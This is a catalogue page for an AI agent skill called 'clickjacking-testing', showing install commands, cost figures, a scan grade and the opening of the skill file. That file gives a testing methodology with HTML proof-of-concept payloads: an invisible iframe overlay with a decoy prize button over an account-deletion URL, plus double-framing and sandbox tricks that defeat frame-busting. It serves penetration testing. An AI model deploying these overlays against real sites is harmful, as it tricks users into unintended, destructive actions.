Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill clickjacking-testinggit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/clickjacking-testing)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/clickjacking-testing"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/clickjacking-testing/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/clickjacking-testing"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/clickjacking-testing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00121 | $0.01898 |
| Opus 5.5 | $0.00048 | $0.00759 |
| Sonnet 5.5 | $0.00024 | $0.00380 |
| Haiku 4.5 | $0.00012 | $0.00190 |
Grade A, and why
clickjacking-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -I TARGET/ | grep -i "x-frame-options\|frame-ancestors" How it starts
The opening of the file, as written. The whole thing — 144 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Clickjacking
What Is Broken and Why
Clickjacking (UI redressing) works by embedding a target application inside a transparent or partially-visible iframe on an attacker-controlled page. Victims see decoy UI elements but are actually interacting with the hidden target page underneath. Single-click, single-step actions are the most exploitable (fund transfers, account deletions, permission grants, one-click purchases). The vulnerability exists when a page can be framed, either because framing protection headers are absent or because deployed JavaScript frame-busting code is bypassable.
Key Signals
- Missing
X-Frame-Optionsheader (DENYorSAMEORIGIN) - Missing
Content-Security-Policy: frame-ancestors 'none'orframe-ancestors 'self' - Target page loads successfully in a test iframe
- Frame-busting JavaScript present (
top.location === self.location) but bypassable - State-changing one-click actions (confirm, approve, authorize, delete) on authenticated pages
- Browser developer tools: Network tab shows page loaded as iframe sub-resource
Methodology
- Attempt to load the target page in an iframe using the PoC HTML below.
- Check response headers for
X-Frame-OptionsandContent-Security-Policy: frame-ancestors. - If the page loads in the iframe, confirm it is the authenticated/functional version.
- Identify high-impact one-click actions on the framed page.
- Construct a PoC with overlaid decoy buttons positioned over target action buttons.
- Test frame-busting bypass techniques if JavaScript protection is detected.
- Verify across browsers (Chrome, Firefox, Safari) as behavior differs.
Payloads & Tools
<!-- Basic detection PoC -->
<html>
<head><title>Clickjacking detection</title></head>
<body>
<iframe src="TARGET/" width="800" height="600"></iframe>
</body>
</html>
<!-- Full attack PoC — transparent overlay -->
<html>
<head>
<style>
iframe {
position: absolute;
width: 800px;
height: 600px;
opacity: 0.0; /* Set to 0.5 for testing, 0.0 for actual attack */
z-index: 2;
}
.decoy {
position: absolute;
top: 340px; /* Adjust to align with target button */
left: 200px;
z-index: 1;
background: #ff0000;
padding: 10px 20px;
cursor: pointer;
}
</style>
</head>
<body>
<div class="decoy">Click here to win a prize!</div>
<iframe src="TARGET/account/delete" scrolling="no"></iframe>
</body>
</html>
<!-- Double-framing to bypass parent.location frame-busting -->
<html>
<body>
<iframe src="attacker-inner.html">
<!-- attacker-inner.html contains iframe of TARGET/ -->
</iframe>
</body>
</html>
<!-- attacker-inner.html: -->
<iframe src="TARGET/"></iframe>
<!-- Sandbox attribute to disable frame-busting JS -->
<iframe src="TARGET/" sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
<!-- Note: omit allow-top-navigation to prevent frame-busting -->
<!-- Disable JS entirely (IE restricted zone) -->
<iframe src="TARGET/" security="restricted"></iframe>
<!-- Browser header check -->
curl -s -I TARGET/ | grep -i "x-frame-options\|frame-ancestors"
<!-- Burp Suite: identify clickjacking -->
<!-- Proxy -> HTTP History -> right-click response -> 'Check Clickjacking' (via extension) -->
<!-- Or: manually check Response headers for X-Frame-Options -->
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 144 lines · 121 tokens per session scan A 95dc59bc5bcf
clickjacking-testing is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 121 tokens to every session and 1,898 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
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